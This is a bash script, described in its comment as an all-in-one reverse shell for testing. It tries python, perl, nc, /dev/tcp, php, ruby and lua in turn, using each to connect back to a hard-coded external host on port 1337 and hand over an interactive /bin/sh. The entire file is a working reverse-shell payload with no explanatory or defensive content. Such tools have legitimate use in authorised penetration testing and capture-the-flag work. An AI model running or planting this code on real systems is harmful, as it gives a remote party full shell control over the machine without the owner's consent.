#!/bin/bash

# An all-in-one reverse shell for testing

IP=vps.jorianwoltjer.com
PORT=1337

if command -v python > /dev/null 2>&1; then
        python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("'$IP'",'$PORT')); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);'
        exit;
fi

if command -v perl > /dev/null 2>&1; then
        perl -e 'use Socket;$i="'$IP'";$p='$PORT';socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
        exit;
fi

if command -v nc > /dev/null 2>&1; then
        rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $IP $PORT >/tmp/f
        exit;
fi

if command -v sh > /dev/null 2>&1; then
        /bin/sh -i >& /dev/tcp/$IP/$PORT 0>&1
        exit;
fi

if command -v php > /dev/null 2>&1; then
        php -r '$sock=fsockopen("'$IP'",'$PORT');exec("/bin/sh -i <&3 >&3 2>&3");'
        exit;
fi

if command -v ruby > /dev/null 2>&1; then
        ruby -rsocket -e'f=TCPSocket.open("'$IP'",'$PORT').to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
        exit;
fi

if command -v lua > /dev/null 2>&1; then
        lua -e "require('socket');require('os');t=socket.tcp();t:connect('$IP','$PORT');os.execute('/bin/sh -i <&3 >&3 2>&3');"
        exit;
fi